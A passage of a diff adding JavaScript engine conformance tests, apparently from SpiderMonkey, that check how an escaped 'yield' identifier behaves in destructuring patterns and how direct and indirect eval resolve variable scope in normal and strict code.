+ let {yi\u0065ld} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ function f() {
+ let {yi\u0065ld = 0} = {};
+ }
+`), SyntaxError);
+
+
+// Destructuring binding patterns with const.
+(function() {
+ const {a: yi\u0065ld} = {a: "yield-with-name"};
+ assertEq(yield, "yield-with-name");
+})();
+
+(function() {
+ const {yi\u0065ld} = {yield: "yield-with-shorthand"};
+ assertEq(yield, "yield-with-shorthand");
+})();
+
+(function() {
+ const {yi\u0065ld = 0} = {yield: "yield-with-coverinitname"};
+ assertEq(yield, "yield-with-coverinitname");
+})();
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ function f() {
+ const {a: yi\u0065ld} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ function f() {
+ const {yi\u0065ld} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ function f() {
+ const {yi\u0065ld = 0} = {};
+ }
+`), SyntaxError);
+
+
+// Destructuring binding patterns in parameters.
+(function({a: yi\u0065ld} = {a: "yield-with-name"}) {
+ assertEq(yield, "yield-with-name");
+})();
+
+(function({yi\u0065ld} = {yield: "yield-with-shorthand"}) {
+ assertEq(yield, "yield-with-shorthand");
+})();
+
+(function({yi\u0065ld = 0} = {yield: "yield-with-coverinitname"}) {
+ assertEq(yield, "yield-with-coverinitname");
+})();
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ function f({a: yi\u0065ld} = {}) { }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ function f({yi\u0065ld} = {}) { }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ function f({yi\u0065ld = 0} = {}) { }
+`), SyntaxError);
+
+
+// Destructuring assignment pattern.
+(function() {
+ var a, yield;
+
+ ({a: yi\u0065ld} = {a: "yield-with-name"});
+ assertEq(yield, "yield-with-name");
+
+ ({yi\u0065ld} = {yield: "yield-with-shorthand"});
+ assertEq(yield, "yield-with-shorthand");
+
+ ({yi\u0065ld = 0} = {yield: "yield-with-coverinitname"});
+ assertEq(yield, "yield-with-coverinitname");
+})();
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ function f() {
+ ({a: yi\u0065ld} = {});
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ function f() {
+ ({yi\u0065ld} = {});
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ function f() {
+ ({yi\u0065ld = 0} = {});
+ }
+`), SyntaxError);
+
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/destructuring/yield-with-escape-in-object-destr-generator.js b/js/src/tests/non262/destructuring/yield-with-escape-in-object-destr-generator.js
new file mode 100644
index 0000000000..faa3563914
--- /dev/null
+++ b/js/src/tests/non262/destructuring/yield-with-escape-in-object-destr-generator.js
@@ -0,0 +1,200 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+// Destructuring binding patterns with var.
+assertThrowsInstanceOf(() => eval(String.raw`
+ function* g() {
+ var {a: yi\u0065ld} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ function* g() {
+ var {yi\u0065ld} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ function* g() {
+ var {yi\u0065ld = 0} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ function* g() {
+ var {a: yi\u0065ld} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ function* g() {
+ var {yi\u0065ld} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ function* g() {
+ var {yi\u0065ld = 0} = {};
+ }
+`), SyntaxError);
+
+
+// Destructuring binding patterns with let.
+assertThrowsInstanceOf(() => eval(String.raw`
+ function* g() {
+ let {a: yi\u0065ld} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ function* g() {
+ let {yi\u0065ld} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ function* g() {
+ let {yi\u0065ld = 0} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ function* g() {
+ let {a: yi\u0065ld} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ function* g() {
+ let {yi\u0065ld} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ function* g() {
+ let {yi\u0065ld = 0} = {};
+ }
+`), SyntaxError);
+
+
+// Destructuring binding patterns with const.
+assertThrowsInstanceOf(() => eval(String.raw`
+ function* g() {
+ const {a: yi\u0065ld} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ function* g() {
+ const {yi\u0065ld} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ function* g() {
+ const {yi\u0065ld = 0} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ function* g() {
+ const {a: yi\u0065ld} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ function* g() {
+ const {yi\u0065ld} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ function* g() {
+ const {yi\u0065ld = 0} = {};
+ }
+`), SyntaxError);
+
+
+// Destructuring binding patterns in parameters.
+assertThrowsInstanceOf(() => eval(String.raw`
+ function* g({a: yi\u0065ld} = {}) { }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ function* g({yi\u0065ld} = {}) { }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ function* g({yi\u0065ld = 0} = {}) { }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ function* g({a: yi\u0065ld} = {}) { }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ function* g({yi\u0065ld} = {}) { }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ function* g({yi\u0065ld = 0} = {}) { }
+`), SyntaxError);
+
+
+// Destructuring assignment pattern.
+assertThrowsInstanceOf(() => eval(String.raw`
+ function* g() {
+ ({a: yi\u0065ld} = {});
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ function* g() {
+ ({yi\u0065ld} = {});
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ function* g() {
+ ({yi\u0065ld = 0} = {});
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ function* g() {
+ ({a: yi\u0065ld} = {});
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ function* g() {
+ ({yi\u0065ld} = {});
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ function* g() {
+ ({yi\u0065ld = 0} = {});
+ }
+`), SyntaxError);
+
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/destructuring/yield-with-escape-in-object-destr-script.js b/js/src/tests/non262/destructuring/yield-with-escape-in-object-destr-script.js
new file mode 100644
index 0000000000..65352a66cf
--- /dev/null
+++ b/js/src/tests/non262/destructuring/yield-with-escape-in-object-destr-script.js
@@ -0,0 +1,123 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+// Destructuring binding patterns with var.
+var {a: yi\u0065ld} = {a: "yield-with-name"};
+assertEq(yield, "yield-with-name");
+
+var {yi\u0065ld} = {yield: "yield-with-shorthand"};
+assertEq(yield, "yield-with-shorthand");
+
+var {yi\u0065ld = 0} = {yield: "yield-with-coverinitname"};
+assertEq(yield, "yield-with-coverinitname");
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ var {a: yi\u0065ld} = {};
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ var {yi\u0065ld} = {};
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ var {yi\u0065ld = 0} = {};
+`), SyntaxError);
+
+
+// Destructuring binding patterns with let.
+{
+ let {a: yi\u0065ld} = {a: "yield-with-name"};
+ assertEq(yield, "yield-with-name");
+}
+
+{
+ let {yi\u0065ld} = {yield: "yield-with-shorthand"};
+ assertEq(yield, "yield-with-shorthand");
+}
+
+{
+ let {yi\u0065ld = 0} = {yield: "yield-with-coverinitname"};
+ assertEq(yield, "yield-with-coverinitname");
+}
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ let {a: yi\u0065ld} = {};
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ let {yi\u0065ld} = {};
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ let {yi\u0065ld = 0} = {};
+`), SyntaxError);
+
+
+// Destructuring binding patterns with const.
+{
+ const {a: yi\u0065ld} = {a: "yield-with-name"};
+ assertEq(yield, "yield-with-name");
+}
+
+{
+ const {yi\u0065ld} = {yield: "yield-with-shorthand"};
+ assertEq(yield, "yield-with-shorthand");
+}
+
+{
+ const {yi\u0065ld = 0} = {yield: "yield-with-coverinitname"};
+ assertEq(yield, "yield-with-coverinitname");
+}
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ const {a: yi\u0065ld} = {};
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ const {yi\u0065ld} = {};
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ const {yi\u0065ld = 0} = {};
+`), SyntaxError);
+
+
+// Destructuring assignment pattern.
+({a: yi\u0065ld} = {a: "yield-with-name"});
+assertEq(yield, "yield-with-name");
+
+({yi\u0065ld} = {yield: "yield-with-shorthand"});
+assertEq(yield, "yield-with-shorthand");
+
+({yi\u0065ld = 0} = {yield: "yield-with-coverinitname"});
+assertEq(yield, "yield-with-coverinitname");
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ ({a: yi\u0065ld} = {});
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ ({yi\u0065ld} = {});
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ ({yi\u0065ld = 0} = {});
+`), SyntaxError);
+
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/ev b/js/src/tests/non262/ev
new file mode 100644
index 0000000000..416bc59fac
--- /dev/null
+++ b/js/src/tests/non262/ev
@@ -0,0 +1,32 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 531682;
+var summary = 'Checking proper wrapping of scope in eval(source, scope)';
+var actual;
+var expect;
+
+//-----------------------------------------------------------------------------
+var x = 0;
+
+test();
+//-----------------------------------------------------------------------------
+
+function scope1() {
+ eval('var x = 1;');
+ return function() { return x; }
+}
+
+function test() {
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ // The scope chain in eval should be just scope1() and the global object.
+ actual = eval('x', scope1());
+ expect = 0;
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/eval/browser.js b/js/src/tests/non262/eval/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/eval/browser.js
diff --git a/js/src/tests/non262/eval/exhaustive-fun-normalcaller-direct-normalcode.js b/js/src/tests/non262/eval/exhaustive-fun-normalcaller-direct-normalcode.js
new file mode 100644
index 0000000000..1a4b56c635
--- /dev/null
+++ b/js/src/tests/non262/eval/exhaustive-fun-normalcaller-direct-normalcode.js
@@ -0,0 +1,208 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 514568;
+var summary = "eval in all its myriad flavors";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var x = 17;
+function globalX() { return x; }
+var y = 42;
+function globalY() { return y; }
+
+var ev = eval;
+
+function testX()
+{
+ var x = 2;
+ var xcode =
+ "var x = 4;" +
+ "function actX(action)" +
+ "{" +
+ " switch (action)" +
+ " {" +
+ " case 'get':" +
+ " return x;" +
+ " case 'set1':" +
+ " x = 9;" +
+ " return;" +
+ " case 'set2':" +
+ " x = 23;" +
+ " return;" +
+ " case 'delete':" +
+ " try { return eval('delete x'); }" +
+ " catch (e) { return e.name; }" +
+ " }" +
+ "}" +
+ "actX;";
+
+ var local0 = x;
+ var global0 = globalX();
+
+ var f = eval(xcode);
+
+ var inner1 = f("get");
+ var local1 = x;
+ var global1 = globalX();
+
+ x = 7;
+ var inner2 = f("get");
+ var local2 = x;
+ var global2 = globalX();
+
+ f("set1");
+ var inner3 = f("get");
+ var local3 = x;
+ var global3 = globalX();
+
+ var del = f("delete");
+ var inner4 = f("get");
+ var local4 = x;
+ var global4 = globalX();
+
+ f("set2");
+ var inner5 = f("get");
+ var local5 = x;
+ var global5 = globalX();
+
+ return {
+ local0: local0, global0: global0,
+ inner1: inner1, local1: local1, global1: global1,
+ inner2: inner2, local2: local2, global2: global2,
+ inner3: inner3, local3: local3, global3: global3,
+ del: del,
+ inner4: inner4, local4: local4, global4: global4,
+ inner5: inner5, local5: local5, global5: global5,
+ };
+}
+
+var resultsX = testX();
+
+assertEq(resultsX.local0, 2);
+assertEq(resultsX.global0, 17);
+
+assertEq(resultsX.inner1, 4);
+assertEq(resultsX.local1, 4);
+assertEq(resultsX.global1, 17);
+
+assertEq(resultsX.inner2, 7);
+assertEq(resultsX.local2, 7);
+assertEq(resultsX.global2, 17);
+
+assertEq(resultsX.inner3, 9);
+assertEq(resultsX.local3, 9);
+assertEq(resultsX.global3, 17);
+
+assertEq(resultsX.del, false);
+
+assertEq(resultsX.inner4, 9);
+assertEq(resultsX.local4, 9);
+assertEq(resultsX.global4, 17);
+
+assertEq(resultsX.inner5, 23);
+assertEq(resultsX.local5, 23);
+assertEq(resultsX.global5, 17);
+
+
+function testY()
+{
+ var ycode =
+ "var y = 5;" +
+ "function actY(action)" +
+ "{" +
+ " switch (action)" +
+ " {" +
+ " case 'get':" +
+ " return y;" +
+ " case 'set1':" +
+ " y = 2;" +
+ " return;" +
+ " case 'set2':" +
+ " y = 71;" +
+ " return;" +
+ " case 'delete':" +
+ " try { return eval('delete y'); }" +
+ " catch (e) { return e.name; }" +
+ " }" +
+ "}" +
+ "actY;";
+
+ var local0 = y;
+ var global0 = globalY();
+
+ var f = eval(ycode);
+
+ var inner1 = f("get");
+ var local1 = y;
+ var global1 = globalY();
+
+ y = 8;
+ var inner2 = f("get");
+ var local2 = y;
+ var global2 = globalY();
+
+ f("set1");
+ var inner3 = f("get");
+ var local3 = y;
+ var global3 = globalY();
+
+ var del = f("delete");
+ var inner4 = f("get");
+ var local4 = y;
+ var global4 = globalY();
+
+ f("set2");
+ var inner5 = f("get");
+ var local5 = y;
+ var global5 = globalY();
+
+ return {
+ local0: local0, global0: global0,
+ inner1: inner1, local1: local1, global1: global1,
+ inner2: inner2, local2: local2, global2: global2,
+ inner3: inner3, local3: local3, global3: global3,
+ del: del,
+ inner4: inner4, local4: local4, global4: global4,
+ inner5: inner5, local5: local5, global5: global5,
+ };
+}
+
+var resultsY = testY();
+
+assertEq(resultsY.local0, 42);
+assertEq(resultsY.global0, 42);
+
+assertEq(resultsY.inner1, 5);
+assertEq(resultsY.local1, 5);
+assertEq(resultsY.global1, 42);
+
+assertEq(resultsY.inner2, 8);
+assertEq(resultsY.local2, 8);
+assertEq(resultsY.global2, 42);
+
+assertEq(resultsY.inner3, 2);
+assertEq(resultsY.local3, 2);
+assertEq(resultsY.global3, 42);
+
+assertEq(resultsY.del, true);
+
+assertEq(resultsY.inner4, 42);
+assertEq(resultsY.local4, 42);
+assertEq(resultsY.global4, 42);
+
+assertEq(resultsY.inner5, 71);
+assertEq(resultsY.local5, 71);
+assertEq(resultsY.global5, 71);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete!");
diff --git a/js/src/tests/non262/eval/exhaustive-fun-normalcaller-direct-strictcode.js b/js/src/tests/non262/eval/exhaustive-fun-normalcaller-direct-strictcode.js
new file mode 100644
index 0000000000..7bd4ea6585
--- /dev/null
+++ b/js/src/tests/non262/eval/exhaustive-fun-normalcaller-direct-strictcode.js
@@ -0,0 +1,210 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 514568;
+var summary = "eval in all its myriad flavors";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var x = 17;
+function globalX() { return x; }
+var y = 42;
+function globalY() { return y; }
+
+var ev = eval;
+
+function testX()
+{
+ var x = 2;
+ var xcode =
+ "'use strict';" +
+ "var x = 4;" +
+ "function actX(action)" +
+ "{" +
+ " switch (action)" +
+ " {" +
+ " case 'get':" +
+ " return x;" +
+ " case 'set1':" +
+ " x = 9;" +
+ " return;" +
+ " case 'set2':" +
+ " x = 23;" +
+ " return;" +
+ " case 'delete':" +
+ " try { return eval('delete x'); }" +
+ " catch (e) { return e.name; }" +
+ " }" +
+ "}" +
+ "actX;";
+
+ var local0 = x;
+ var global0 = globalX();
+
+ var f = eval(xcode);
+
+ var inner1 = f("get");
+ var local1 = x;
+ var global1 = globalX();
+
+ x = 7;
+ var inner2 = f("get");
+ var local2 = x;
+ var global2 = globalX();
+
+ f("set1");
+ var inner3 = f("get");
+ var local3 = x;
+ var global3 = globalX();
+
+ var del = f("delete");
+ var inner4 = f("get");
+ var local4 = x;
+ var global4 = globalX();
+
+ f("set2");
+ var inner5 = f("get");
+ var local5 = x;
+ var global5 = globalX();
+
+ return {
+ local0: local0, global0: global0,
+ inner1: inner1, local1: local1, global1: global1,
+ inner2: inner2, local2: local2, global2: global2,
+ inner3: inner3, local3: local3, global3: global3,
+ del: del,
+ inner4: inner4, local4: local4, global4: global4,
+ inner5: inner5, local5: local5, global5: global5,
+ };
+}
+
+var resultsX = testX();
+
+assertEq(resultsX.local0, 2);
+assertEq(resultsX.global0, 17);
+
+assertEq(resultsX.inner1, 4);
+assertEq(resultsX.local1, 2);
+assertEq(resultsX.global1, 17);
+
+assertEq(resultsX.inner2, 4);
+assertEq(resultsX.local2, 7);
+assertEq(resultsX.global2, 17);
+
+assertEq(resultsX.inner3, 9);
+assertEq(resultsX.local3, 7);
+assertEq(resultsX.global3, 17);
+
+assertEq(resultsX.del, "SyntaxError");
+
+assertEq(resultsX.inner4, 9);
+assertEq(resultsX.local4, 7);
+assertEq(resultsX.global4, 17);
+
+assertEq(resultsX.inner5, 23);
+assertEq(resultsX.local5, 7);
+assertEq(resultsX.global5, 17);
+
+
+function testY()
+{
+ var ycode =
+ "'use strict';" +
+ "var y = 5;" +
+ "function actY(action)" +
+ "{" +
+ " switch (action)" +
+ " {" +
+ " case 'get':" +
+ " return y;" +
+ " case 'set1':" +
+ " y = 2;" +
+ " return;" +
+ " case 'set2':" +
+ " y = 71;" +
+ " return;" +
+ " case 'delete':" +
+ " try { return eval('delete y'); }" +
+ " catch (e) { return e.name; }" +
+ " }" +
+ "}" +
+ "actY;";
+
+ var local0 = y;
+ var global0 = globalY();
+
+ var f = eval(ycode);
+
+ var inner1 = f("get");
+ var local1 = y;
+ var global1 = globalY();
+
+ y = 8;
+ var inner2 = f("get");
+ var local2 = y;
+ var global2 = globalY();
+
+ f("set1");
+ var inner3 = f("get");
+ var local3 = y;
+ var global3 = globalY();
+
+ var del = f("delete");
+ var inner4 = f("get");
+ var local4 = y;
+ var global4 = globalY();
+
+ f("set2");
+ var inner5 = f("get");
+ var local5 = y;
+ var global5 = globalY();
+
+ return {
+ local0: local0, global0: global0,
+ inner1: inner1, local1: local1, global1: global1,
+ inner2: inner2, local2: local2, global2: global2,
+ inner3: inner3, local3: local3, global3: global3,
+ del: del,
+ inner4: inner4, local4: local4, global4: global4,
+ inner5: inner5, local5: local5, global5: global5,
+ };
+}
+
+var resultsY = testY();
+
+assertEq(resultsY.local0, 42);
+assertEq(resultsY.global0, 42);
+
+assertEq(resultsY.inner1, 5);
+assertEq(resultsY.local1, 42);
+assertEq(resultsY.global1, 42);
+
+assertEq(resultsY.inner2, 5);
+assertEq(resultsY.local2, 8);
+assertEq(resultsY.global2, 8);
+
+assertEq(resultsY.inner3, 2);
+assertEq(resultsY.local3, 8);
+assertEq(resultsY.global3, 8);
+
+assertEq(resultsY.del, "SyntaxError");
+
+assertEq(resultsY.inner4, 2);
+assertEq(resultsY.local4, 8);
+assertEq(resultsY.global4, 8);
+
+assertEq(resultsY.inner5, 71);
+assertEq(resultsY.local5, 8);
+assertEq(resultsY.global5, 8);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete!");
diff --git a/js/src/tests/non262/eval/exhaustive-fun-normalcaller-indirect-normalcode.js b/js/src/tests/non262/eval/exhaustive-fun-normalcaller-indirect-normalcode.js
new file mode 100644
index 0000000000..d75496fa51
--- /dev/null
+++ b/js/src/tests/non262/eval/exhaustive-fun-normalcaller-indirect-normalcode.js
@@ -0,0 +1,208 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 514568;
+var summary = "eval in all its myriad flavors";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var x = 17;
+function globalX() { return x; }
+var y = 42;
+function globalY() { return y; }
+
+var ev = eval;
+
+function testX()
+{
+ var x = 2;
+ var xcode =
+ "var x = 4;" +
+ "function actX(action)" +
+ "{" +
+ " switch (action)" +
+ " {" +
+ " case 'get':" +
+ " return x;" +
+ " case 'set1':" +
+ " x = 9;" +
+ " return;" +
+ " case 'set2':" +
+ " x = 23;" +
+ " return;" +
+ " case 'delete':" +
+ " try { return eval('delete x'); }" +
+ " catch (e) { return e.name; }" +
+ " }" +
+ "}" +
+ "actX;";
+
+ var local0 = x;
+ var global0 = globalX();
+
+ var f = ev(xcode);
+
+ var inner1 = f("get");
+ var local1 = x;
+ var global1 = globalX();
+
+ x = 7;
+ var inner2 = f("get");
+ var local2 = x;
+ var global2 = globalX();
+
+ f("set1");
+ var inner3 = f("get");
+ var local3 = x;
+ var global3 = globalX();
+
+ var del = f("delete");
+ var inner4 = f("get");
+ var local4 = x;
+ var global4 = globalX();
+
+ f("set2");
+ var inner5 = f("get");
+ var local5 = x;
+ var global5 = globalX();
+
+ return {
+ local0: local0, global0: global0,
+ inner1: inner1, local1: local1, global1: global1,
+ inner2: inner2, local2: local2, global2: global2,
+ inner3: inner3, local3: local3, global3: global3,
+ del: del,
+ inner4: inner4, local4: local4, global4: global4,
+ inner5: inner5, local5: local5, global5: global5,
+ };
+}
+
+var resultsX = testX();
+
+assertEq(resultsX.local0, 2);
+assertEq(resultsX.global0, 17);
+
+assertEq(resultsX.inner1, 4);
+assertEq(resultsX.local1, 2);
+assertEq(resultsX.global1, 4);
+
+assertEq(resultsX.inner2, 4);
+assertEq(resultsX.local2, 7);
+assertEq(resultsX.global2, 4);
+
+assertEq(resultsX.inner3, 9);
+assertEq(resultsX.local3, 7);
+assertEq(resultsX.global3, 9);
+
+assertEq(resultsX.del, false);
+
+assertEq(resultsX.inner4, 9);
+assertEq(resultsX.local4, 7);
+assertEq(resultsX.global4, 9);
+
+assertEq(resultsX.inner5, 23);
+assertEq(resultsX.local5, 7);
+assertEq(resultsX.global5, 23);
+
+
+function testY()
+{
+ var ycode =
+ "var y = 5;" +
+ "function actY(action)" +
+ "{" +
+ " switch (action)" +
+ " {" +
+ " case 'get':" +
+ " return y;" +
+ " case 'set1':" +
+ " y = 2;" +
+ " return;" +
+ " case 'set2':" +
+ " y = 71;" +
+ " return;" +
+ " case 'delete':" +
+ " try { return eval('delete y'); }" +
+ " catch (e) { return e.name; }" +
+ " }" +
+ "}" +
+ "actY;";
+
+ var local0 = y;
+ var global0 = globalY();
+
+ var f = ev(ycode);
+
+ var inner1 = f("get");
+ var local1 = y;
+ var global1 = globalY();
+
+ y = 8;
+ var inner2 = f("get");
+ var local2 = y;
+ var global2 = globalY();
+
+ f("set1");
+ var inner3 = f("get");
+ var local3 = y;
+ var global3 = globalY();
+
+ var del = f("delete");
+ var inner4 = f("get");
+ var local4 = y;
+ var global4 = globalY();
+
+ f("set2");
+ var inner5 = f("get");
+ var local5 = y;
+ var global5 = globalY();
+
+ return {
+ local0: local0, global0: global0,
+ inner1: inner1, local1: local1, global1: global1,
+ inner2: inner2, local2: local2, global2: global2,
+ inner3: inner3, local3: local3, global3: global3,
+ del: del,
+ inner4: inner4, local4: local4, global4: global4,
+ inner5: inner5, local5: local5, global5: global5,
+ };
+}
+
+var resultsY = testY();
+
+assertEq(resultsY.local0, 42);
+assertEq(resultsY.global0, 42);
+
+assertEq(resultsY.inner1, 5);
+assertEq(resultsY.local1, 5);
+assertEq(resultsY.global1, 5);
+
+assertEq(resultsY.inner2, 8);
+assertEq(resultsY.local2, 8);
+assertEq(resultsY.global2, 8);
+
+assertEq(resultsY.inner3, 2);
+assertEq(resultsY.local3, 2);
+assertEq(resultsY.global3, 2);
+
+assertEq(resultsY.del, false);
+
+assertEq(resultsY.inner4, 2);
+assertEq(resultsY.local4, 2);
+assertEq(resultsY.global4, 2);
+
+assertEq(resultsY.inner5, 71);
+assertEq(resultsY.local5, 71);
+assertEq(resultsY.global5, 71);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete!");
diff --git a/js/src/tests/non262/eval/exhaustive-fun-normalcaller-indirect-strictcode.js b/js/src/tests/non262/eval/exhaustive-fun-normalcaller-indirect-strictcode.js
new file mode 100644
index 0000000000..f38fc1b58e
--- /dev/null
+++ b/js/src/tests/non262/eval/exhaustive-fun-normalcaller-indirect-strictcode.js
@@ -0,0 +1,210 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 514568;
+var summary = "eval in all its myriad flavors";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var x = 17;
+function globalX() { return x; }
+var y = 42;
+function globalY() { return y; }
+
+var ev = eval;
+
+function testX()
+{
+ var x = 2;
+ var xcode =
+ "'use strict';" +
+ "var x = 4;" +
+ "function actX(action)" +
+ "{" +
+ " switch (action)" +
+ " {" +
+ " case 'get':" +
+ " return x;" +
+ " case 'set1':" +
+ " x = 9;" +
+ " return;" +
+ " case 'set2':" +
+ " x = 23;" +
+ " return;" +
+ " case 'delete':" +
+ " try { return eval('delete x'); }" +
+ " catch (e) { return e.name; }" +
+ " }" +
+ "}" +
+ "actX;";
+
+ var local0 = x;
+ var global0 = globalX();
+
+ var f = ev(xcode);
+
+ var inner1 = f("get");
+ var local1 = x;
+ var global1 = globalX();
+
+ x = 7;
+ var inner2 = f("get");
+ var local2 = x;
+ var global2 = globalX();
+
+ f("set1");
+ var inner3 = f("get");
+ var local3 = x;
+ var global3 = globalX();
+
+ var del = f("delete");
+ var inner4 = f("get");
+ var local4 = x;
+ var global4 = globalX();
+
+ f("set2");
+ var inner5 = f("get");
+ var local5 = x;
+ var global5 = globalX();
+
+ return {
+ local0: local0, global0: global0,
+ inner1: inner1, local1: local1, global1: global1,
+ inner2: inner2, local2: local2, global2: global2,
+ inner3: inner3, local3: local3, global3: global3,
+ del: del,
+ inner4: inner4, local4: local4, global4: global4,
+ inner5: inner5, local5: local5, global5: global5,
+ };
+}
+
+var resultsX = testX();
+
+assertEq(resultsX.local0, 2);
+assertEq(resultsX.global0, 17);
+
+assertEq(resultsX.inner1, 4);
+assertEq(resultsX.local1, 2);
+assertEq(resultsX.global1, 17);
+
+assertEq(resultsX.inner2, 4);
+assertEq(resultsX.local2, 7);
+assertEq(resultsX.global2, 17);
+
+assertEq(resultsX.inner3, 9);
+assertEq(resultsX.local3, 7);
+assertEq(resultsX.global3, 17);
+
+assertEq(resultsX.del, "SyntaxError");
+
+assertEq(resultsX.inner4, 9);
+assertEq(resultsX.local4, 7);
+assertEq(resultsX.global4, 17);
+
+assertEq(resultsX.inner5, 23);
+assertEq(resultsX.local5, 7);
+assertEq(resultsX.global5, 17);
+
+
+function testY()
+{
+ var ycode =
+ "'use strict';" +
